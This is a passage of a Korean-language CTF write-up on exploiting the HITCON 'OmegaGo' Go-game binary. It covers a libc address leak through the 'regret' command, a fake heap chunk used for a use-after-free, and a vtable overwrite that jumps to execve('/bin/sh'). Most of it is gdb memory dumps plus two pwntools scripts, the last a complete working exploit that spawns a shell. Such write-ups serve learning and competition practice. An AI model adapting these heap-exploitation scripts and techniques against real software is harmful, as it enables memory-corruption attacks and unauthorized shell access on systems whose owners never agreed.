0x60b0d0:	0x0000000000000000	0x0000000000000021
0x60b0e0:	0x0000000000405020	0x0000010000000000
0x60b0f0:	0x0000000000000000	0x0000000000000091
0x60b100:	0x0000000000000000	0x0000000000000000
(gdb) 

Leak Llibc address

  • 공격자는 gameInfo 전역 변수를 덮어쓸수 있으며, gameInfo에 값을 입력할 수 있습니다.
    • 이를 이용하여 해당 프로그램에서 shell을 획득할 수 있습니다.
  • 다음과 같은 방법으로 Libc address를 메모리에 저장할 수 있습니다.
    • "regret" 명령어를 입력합니다.

    • DeletePlayHistory()함수에서는 History[] 배열 끝에 저장된 2개의 Heap주소를 할당 해제 하게됩니다.
    • 이로 인해 해제된 메모리 영역에 Heap 영역에 Libc address를 저장할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • history[] 배열 마지막에 저장된 heap address 2개는 0x0201a180, 0x0201a0c0 입니다.
    • 0x0201a0c0이 마지막으로 할당 해제 됩니다.
    • 0x0201a0c0에는 GameInfo 구조체의 값을 저장하고 있습니다.
    • "regret" 명령어 실행 후에는 0x1ca40c0 영역에 Libc address(0x00007fd2579d47b8)가 저장됩니다.
  • 사실 0x00007fd2579d47b8는 Libc address가 아닙니다.
    • 해당 프로세스의 메모리 맵을 보면 "/lib/x86_64-linux-gnu/libc-2.19.so"가 사용하는 메모리 뒷부분입니다.
    • 하지만 이 값을 이용하여 Libc address base의 offset을 구할 수 있습니다.
      • 0x7fd2579d47b8 - 0x7fd257616000 = 0x3be7b8

Heap 영역에 Libc address 저장
(gdb) x/12gx 0x609FC0 - 0x10
0x609fb0: 0x000000000201a000 0x000000000201a0c0
0x609fc0: 0x000000000201a180 0x0000000000000000
0x609fd0: 0x0000000000000000 0x0000000000000000
0x609fe0: 0xaaaa0000aaaaa800 0x50000100002aaaaa
0x609ff0: 0x5554000155555555 0x0000000000000055
0x60a000: 0x0000000000000000 0x0000000000000000
(gdb) x/18gx 0x000000000201a0c0
0x201a0c0:	0x0000000000000000	0x0000000000000000
0x201a0d0:	0x0000000000000000	0x0000000000000000
0x201a0e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x201a0f0:	0x5550000155555555	0x0000000000000055
0x201a100:	0x0000000000000000	0x0000000000000000
0x201a110:	0x0000000000000000	0x0000000000000000
0x201a120:	0x0000000a00000007	0x0000000000000058
0x201a130:	0x40667fdc209246b8	0x40666f6b9e492bc5
0x201a140:	0x0000000000000000	0x0000000000000031
(gdb) c
Continuing.

regret


^C
Program received signal SIGINT, Interrupt.
0x00007fd2577016b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
81	in ../sysdeps/unix/syscall-template.S
(gdb) x/18gx 0x0000000001ca40c0
0x1ca40c0:	0x00007fd2579d47b8	0x00007fd2579d47b8
0x1ca40d0:	0x0000000000000000	0x0000000000000000
0x1ca40e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x1ca40f0:	0x5550000155555555	0x0000000000000055
0x1ca4100:	0x0000000000000000	0x0000000000000000
0x1ca4110:	0x0000000000000000	0x0000000000000000
0x1ca4120:	0x0000000a00000007	0x0000000000000058
0x1ca4130:	0x40667fe2174c4cdb	0x406670861e92923f
0x1ca4140:	0x0000000000000090	0x0000000000000030
(gdb) info proc map
process 4778
Mapped address spaces:
          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x407000     0x7000        0x0 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x606000           0x607000     0x1000     0x6000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x607000           0x608000     0x1000     0x7000 /home/autolycos/CTF/HITCON/OmegaGo/omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac
            0x608000           0x60b000     0x3000        0x0 
           0x1c93000          0x1cb4000    0x21000        0x0 [heap]
      0x7fd257310000     0x7fd257415000   0x105000        0x0 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257415000     0x7fd257614000   0x1ff000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257614000     0x7fd257615000     0x1000   0x104000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257615000     0x7fd257616000     0x1000   0x105000 /lib/x86_64-linux-gnu/libm-2.19.so
      0x7fd257616000     0x7fd2577d0000   0x1ba000        0x0 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2577d0000     0x7fd2579d0000   0x200000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d0000     0x7fd2579d4000     0x4000   0x1ba000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d4000     0x7fd2579d6000     0x2000   0x1be000 /lib/x86_64-linux-gnu/libc-2.19.so
      0x7fd2579d6000     0x7fd2579db000     0x5000        0x0 
      0x7fd2579db000     0x7fd2579f1000    0x16000        0x0 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd2579f1000     0x7fd257bf0000   0x1ff000    0x16000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf0000     0x7fd257bf1000     0x1000    0x15000 /lib/x86_64-linux-gnu/libgcc_s.so.1
      0x7fd257bf1000     0x7fd257cd7000    0xe6000        0x0 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257cd7000     0x7fd257ed6000   0x1ff000    0xe6000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ed6000     0x7fd257ede000     0x8000    0xe5000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ede000     0x7fd257ee0000     0x2000    0xed000 /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.19
      0x7fd257ee0000     0x7fd257ef5000    0x15000        0x0 
      0x7fd257ef5000     0x7fd257f18000    0x23000        0x0 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd2580f8000     0x7fd2580fd000     0x5000        0x0 
      0x7fd258114000     0x7fd258117000     0x3000        0x0 
      0x7fd258117000     0x7fd258118000     0x1000    0x22000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258118000     0x7fd258119000     0x1000    0x23000 /lib/x86_64-linux-gnu/ld-2.19.so
      0x7fd258119000     0x7fd25811a000     0x1000        0x0 
      0x7ffe6668e000     0x7ffe666af000    0x21000        0x0 [stack]
      0x7ffe66744000     0x7ffe66746000     0x2000        0x0 [vvar]
      0x7ffe66746000     0x7ffe66748000     0x2000        0x0 [vdso]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
(gdb) p/x 0x00007fd2579d47b8 - 0x7fd257616000
$1 = 0x3be7b8
  • 앞에서 설명한 방법으로는 Heap 영역에 Libc address를 저장했지만 출력하지는 못합니다.
  • 다음은 Heap 영역에 저장된 Libc address를 출력하는 방법입니다.
    • "surrender" 명령어를 2번 호출합니다.
    • gameInfo 전역변수에 Overwrite된 Heap 주소 값을 변경합니다.(0x******00 → 0x******80)
      • 앞에서 "surrender" 명령어를 호출하는 이유는 gameInfo 전역변수의 첫번째 공간에 0x00으로 끝나는 주소를 저장하기 위해서 입니다.
      • 해당 값이 0x00 이 아니라면 좌표 값을 입력할 수 없습니다.
    • 좌표 값을 입력하여 Overwirte된 주소 값을 변경합니다.(D19)
    • "regret" 명령어를 실행합니다.
      • regret() 함수는 마지막에 저장된 heap address 2개를 제거합니다.

      • history[] 배열의 끝에 저장된 값은 공격자가 입력한 좌표 값에 의해 변경된 heap 주소 입니다.

      • regret() 함수는 해당 주소 값을 기준으로 추출한 정보를 전역 변수 gameInfo 에 저장합니다.
  • 디버깅을 이용해 확인해보겠습니다.
    • "surrender"에 의해 0x609fc0영역에 0x00으로 끝나는 Heap 주소(0xdd5200)가 저장되었습니다.
    • 좌표값 "D19"를 입력해 0x00를 0x80으로 변경했습니다.(0xdd5280)

    • 0xdd5280 값을 기준으로 데이터를 전역 변수 gameInfo에 저장합니다.

Leak libc address
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e200	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) b *0x4016C9
Breakpoint 1 at 0x4016c9
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) c
Continuing.



//D19
Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x000000000105e280	0x000000000105e2c0
0x609fd0:	0x000000000105e380	0x0000000000000000
0x609fe0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0x609ff0:	0x5554000155555555	0x0000000000000055
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) c
Continuing.

//regret
Breakpoint 2, 0x00000000004016c5 in ?? ()
(gdb) x/2i $rip
=> 0x4016c5:	mov    0x40(%rax),%rdx
   0x4016c9:	mov    %rdx,0x208930(%rip)        # 0x60a000
(gdb) set disassembly-flavor intel 
(gdb) x/2i $rip
=> 0x4016c5:	mov    rdx,QWORD PTR [rax+0x40]
   0x4016c9:	mov    QWORD PTR [rip+0x208930],rdx        # 0x60a000
(gdb) i r rax
rax            0xdd5280	14504576
(gdb) x/18gx 0xdd5280
0xdd5280:	0x0000000000000000	0x0000000000000031
0xdd5290:	0x0000000000dd5340	0x0000000000dcd3d0
0xdd52a0:	0x0000000000000000	0x0000000000000000
0xdd52b0:	0x240b2f4828c52f0b	0x0000000000000091
0xdd52c0:	0x00007fcad9e447b8	0x00007fcad9e447b8
0xdd52d0:	0x0000000000000000	0x0000000000000000
0xdd52e0:	0xaaaa0000aaaaa800	0x50000100002aaaaa
0xdd52f0:	0x5554000155555555	0x0000000000000055
0xdd5300:	0x0000000000000000	0x0000000000000000
(gdb) x/gx 0xdd5280 + 0x40
0xdd52c0:	0x00007fcad9e447b8
(gdb) ni
0x00000000004016c9 in ?? ()
(gdb)  i r rip
rip            0x4016c9	0x4016c9
(gdb) p/x 0x208930 + 0x4016c9
$1 = 0x609ff9
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) ni
0x00000000004016d0 in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000031
0x609fd0:	0x0000000000dd5340	0x0000000000dcd3d0
0x609fe0:	0x0000000000000000	0x0000000000000000
0x609ff0:	0x240b2f4828c52f0b	0x0000000000000091
0x60a000:	0x00007fcad9e447b8	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000400
(gdb) p/x 0x208930 + 0x4016d0
$2 = 0x60a000
  • 다음과 같은 코드를 이용하면 됩니다.
Leak libc address
from pwn import *

#context.log_level = 'debug'

col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']

p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')

def Play(location):
	p.recvuntil('\n\n')
	p.sendline(location)

def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')

def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
	locate = str(col_list[colNum])
	locate += str(row)
	Play(locate)

def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])

def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
	#print str(result) + ' |= ' + str(val) + ' << (' + str(i) + '* 2)'
    return result

def LeakLibcAddress():
    readBoard()
    return decode(32)

#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)

#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
#sleep(20)
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))

p.interactive()

Fake chunk

  • Computer Class에 저장되는 값(vtable addr)을 변경하기 위해서는 UAF 취약성을 이용해야 합니다.
    • Player가 입력한 좌표값은 gameinfo 전역변수의 Board영역에 비트 값(01,10)으로 저장되고 있습니다.
    • Game board 정보는 Heap영역에 저장되고 있습니다.
    • 그리고 Overflow를 통해 할당해제 할 메모리 주소 값을 변경할 수 있습니다.
  • vtable 정보를 저장하기 위해 생성되는 Heap의 크기는 0x20byte 입니다.
    • 즉, UAF취약성을 생성하기 위해서 0x20 byte의 fake chunk가 필요합니다.
  • 다음과 같은 구조로 Fake chunk를 생성할 수 있습니다.

0x00x8
0x00

0000000000000000

0000000000000000
0x1000000000000000000000000000000020
0x2000000000000000000000010000000000
0x3000000000000000000000000000000020
0x4000000000000000000000000000000000
0x5000000000000000000000000000000000
0x600000000900000009000000000000004F
0x7040665799D0203E644066800000000000
0x8000000000000000000000000000000031
  • 다음과 같은 방법으로 gameInfo에 overwrite된 주소값을 0x00의 위치로 변경할 수 있습니다.
    • "surrender" 명령어를 3번 실행합니다.
      • Overflow를 통해 gameInfo.board[0]영역에 저장되는 값이 0x*****410으로 끝나는 값이 되도록하기 위해서입니다.
    • Fake chunk 좌표값(D14, R8)을 입력합니다.

    • gameInfo.board[0]에 저장된 값 0x*****410을 x*****550 으로 변경합니다.
      • 이는 앞에서 설명한 "Fake chunk 구조" 에서 0x00 위치를 가리키도록 하는 것입니다.
      • 좌표값 'P1', '01' 
    • "surrender" 명령어를 실행합니다.
  • 디버깅을 통해 확인해 보겠습니다.
    • D14, R8을 입력해 gameInfo.board[3], gameInfo.board[7]영역에 Fake chunk(0x20)을 저장합니다.
    • gameInfo.board[0]영역에 주소값이 overwrite될 때 까지 게임을 Play 합니다.
    • gameInfo.board[0]영역에 0x0707410 저장됬으며, P1, O1을 입력해 0x0707410 을 0x0707550으로 변경합니다.
    • 그리고 "surrender" 명령어를 실행 후, Computer class의 vtable를 저장할 heap영역으로 0x0707550 영역이 할당됩니다.
    • Computer class 영역에 원하는 주소 영역을 저장하였습니다.
  • 이로 인해 0x0707550을 공격자가 원하는 값으로 덮어쓸수 있게 되었습니다.
    • History[] 배열에 저장되는 Play 정보를 저장하는 Heap 영역을 메모리 0x0707550 보다 낮은 주소에서 부터 Heap 공간을 할당합니다.
디버깅
(gdb) b *0x401761
Breakpoint 1 at 0x401761
(gdb) b *0x4017FC
Breakpoint 2 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000000
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000000000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000000
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000000000	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000000000	0x50000100002aaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

... fill out ...

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x0000000000000000
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707410	0x00000000007074a0
0x609fd0:	0x0000000000000000	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800

(gdb) x/18gx 0x0000000000707410
0x0707410:	0x0000000000000000	0x0000000000000000
0x0707420:	0x0000000000000000	0x0000000000000020
0x0707430:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707440:	0x0000000155555555	0x0000000000000020
0x0707450:	0x0000000000001000	0x0000000000000000
0x0707460:	0x0000000000000000	0x0000000000000000
0x0707470:	0x0000000a00000009	0x500001000000004f
0x0707480:	0x40660945b078d924	0x40633e4e379b77bf
0x0707490:	0x0000000000000000	0x000000000000fb71
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x0000000000000020
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000800



(gdb) x/18gx 0x0000000000707530
0x0707530:	0x00000000019a1450	0x00000000019a14a0
0x0707540:	0x0000000000000000	0x0000000000000020
0x0707550:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x0707560:	0x0000000155555555	0x0000000000000020
0x0707570:	0x0000000000001000	0x0000000000000000
0x0707580:	0x0000000000000000	0x0000000000000800
0x0707590:	0x0000000300000000	0x500001000000004f
0x07075a0:	0x40658f8b73d188eb	0x406176e57d9dba8e
0x07075b0:	0x00007f5b133663a0	0x000000000000fa51
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707450	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0xaaaa000000001000	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x0000000000707550	0x00000000007074a0
0x609fd0:	0x0000000000707530	0x00000000007075c0
0x609fe0:	0x0000000000707680	0x555555aaaaaaaaaa
0x609ff0:	0x0000000155555555	0x0000000000000020
0x60a000:	0x0000000000001000	0x0000000000000000
0x60a010:	0x0000000000000000	0x0000000000000a00
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401761 in ?? ()
(gdb) x/i $rip
=> 0x401761:	callq  0x400f70 <_Znwm@plt>
(gdb) ni
0x0000000000401766 in ?? ()
(gdb) i r rax
rax            0x707550	7370064
(gdb)

Overwrite the vtable

  • vtable을 Overwirte하는 방법은 다음과 같습니다.

    • gameInfo.board[4]영역에 값으로 0x609440을 설정합니다.
      • 사용자 입력 값을 저장하는 전역변수 command(0x60943C)주소 값에 0x4을 더한 값입니다.
    • gameInfo.board[1] 영역까지 Heap 주소로 채웁니다.
    • 0x*****550 영역에 gameInfo.board[4]에 저장된 값이 저장됩니다.
      • 좌표값 뒤에 어떤 값이든 7개를 입력할 수 있습니다.
        • Ex)A19!@#$%^&
      • 0x609440 영역에 execve("/bin/sh") 코드의 주소를 저장하면 shell을 획득할 수 있습니다.
  • 다음은 디버깅을 통해 확인한 내용입니다.
    • gameInfo.board[1] 영역에 저장된 heap 주소는 0x16a5530 입니다.
    • 0x16a5530을 기준으로 gameInfo.board[4]에 0x609440이 저장되어 있습니다.
      • 즉, vtable을 0x609440으로 덮어쓴 것입니다.
    • 0x609440 영역에는 execve("/bin/sh") 코드의 주소가 저장되어 있습니다.
Overwirte the vtable
autolycos@ubuntu:~$ sudo gdb -q -p 6027
Attaching to process 6027
...
(gdb) b *0x04017FC
Breakpoint 1 at 0x4017fc
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x609fd0:	0x40000002aaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000
(gdb) c
Continuing.

Breakpoint 1, 0x00000000004017fc in ?? ()
(gdb) x/12gx 0x609FC0
0x609fc0:	0x00000000016a54a0	0x00000000016a5530
0x609fd0:	0x4000000aaaaaaaaa	0x0000000555555555
0x609fe0:	0x0000000000609440	0x0000010000000000
0x609ff0:	0x1800000000000000	0xaaaa8000000008a4
0x60a000:	0x55550000000aaaaa	0x5555555555555555
0x60a010:	0x0000055555555555	0x0000000000000000

(gdb) x/18gx 0x00000000016a5530
0x16a5530:	0x00000000016a54a0	0xaaaaaaaaaaaaaaaa
0x16a5540:	0x4000000aaaaaaaaa	0x0000000555555555
0x16a5550:	0x0000000000609440	0x0000010000000000
0x16a5560:	0x1800000000000000	0xaaaa8000000008a4
0x16a5570:	0x55550000000aaaaa	0x5555555555555555
0x16a5580:	0x0000055555555555	0x0000000000000000
0x16a5590:	0x0000000500000004	0x5000010000000058
0x16a55a0:	0x40667feb65a9a800	0x4063bc970b49e01e
0x16a55b0:	0x0000000000000120	0x0000000000000091

(gdb) x/gx 0x16a5550
0x16a5550:	0x0000000000609440
(gdb) x/gx 0x0000000000609440
0x609440:	0x00007f5d9c93a6bd
(gdb) c
Continuing.
process 6027 is executing new program: /bin/dash
Warning:
Cannot insert breakpoint 1.
Cannot access memory at address 0x4017fc

(gdb)
vtable -> 0x
(gdb) b *0x4017D0
Breakpoint 1 at 0x4017d0

(gdb) b *0x04017FC
Breakpoint 2 at 0x4017fc


(gdb) c
Continuing.
Breakpoint 1, 0x00000000004017d0 in ?? ()

(gdb) x/3i $rip
=> 0x4017d0:	mov    rax,QWORD PTR [rbp+rax*8-0x30]
   0x4017d5:	mov    rax,QWORD PTR [rax]
   0x4017d8:	mov    rax,QWORD PTR [rax]

(gdb) ni
0x00000000004017d5 in ?? ()
(gdb) i r rax

rax            0x1919550	26318160

(gdb) ni
0x00000000004017d8 in ?? ()
(gdb) i r rax
rax            0x609440	6329408

(gdb) ni
0x00000000004017db in ?? ()
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189

(gdb) c
Continuing.

Breakpoint 2, 0x00000000004017fc in ?? ()
(gdb) x/i $rip
=> 0x4017fc:	call   rax
(gdb) i r rax
rax            0x7fa236c046bd	140334680000189
(gdb) 

Exploit Code

Exploit.py
from pwn import *
 
#context.log_level = 'debug'
 
col_list = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S']
 
p = process('omega_go_6eef19dbb9f98b67af303f18978914d10d8f06ac')
 
def Play(location):
    p.recvuntil('\n\n')
    p.sendline(location)
 
 
def readBoard():
    global board
    board = []
    p.recvline()
    for line in range(0,19):
    	p.recv(3)
        board.append(p.recvuntil('\n')[0:19])
 
def surrender():
    p.recvuntil('\n\n')
    p.sendline('surrender')
    p.recvuntil('Play history? (y/n)')
    p.sendline('n')
    p.recvuntil('Play again? (y/n)')
    p.sendline('y')
 
def Fill(colStart, colEnd, row):
    for colNum in range(col_list.index(colStart),col_list.index(colEnd)+1):
    	locate = str(col_list[colNum])
        locate += str(row)
        Play(locate)
 
def decode(offset):
    bit_offset = offset * 8
    data = ''.join(board)
    result = 0
    for i in xrange(32):
        states = '.OX\0'
        val = states.index(data[bit_offset + i])
        result |= val << (i * 2)
    return result
 
def LeakAddress():
    readBoard()
    return decode(0)
 
def LeakLibcAddress():
    readBoard()
    return decode(32)
  
#Memory reconstruction   
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
Fill('A','K',12)
 
#Leak LibcAddress
p.recvuntil('\n\n')
p.sendline('D19')
p.recvuntil('\n\n')
p.sendline('regret')

libcAddress = LeakLibcAddress()
libcBaseAddress = libcAddress - 0x3be7b8
execve_bash = libcBaseAddress + 0xe66bd
 
log.info('Libc Address : ' + hex(libcAddress))
log.info('Libc Base Address : ' + hex(libcBaseAddress))
log.info('execve bash Address : ' + hex(execve_bash))

#Memory reconstruction
surrender()
surrender()
surrender()
 
#Fill out to board
Fill('B','S',11)
for count in reversed(range(1,9)):
    Fill('A','S',count)
Fill('A','A',11)
 
#Fake Chunk
Play('D14')
Play('R8')
 
#0xXXXX410 -> 0xxxxx550
Fill('A','I',10)
Play('P1')
Play('O1')

surrender()
 
Fill('B','S',6)
for line in range(15,20):
    Fill('A','S',line)
Play('A6')
 
#vtable Overflow
Play('B7')
Play('S8')
Play('R8')
Play('C12')
Play('F12')
Play('M8')
 
for line in range(16,19):
    Fill('A','S',line)
 
Fill('A','E',15)
sleep(20) 
Play('F15|'+p64(execve_bash))
 
p.interactive()

Flag

Flag


Related Site

  • No labels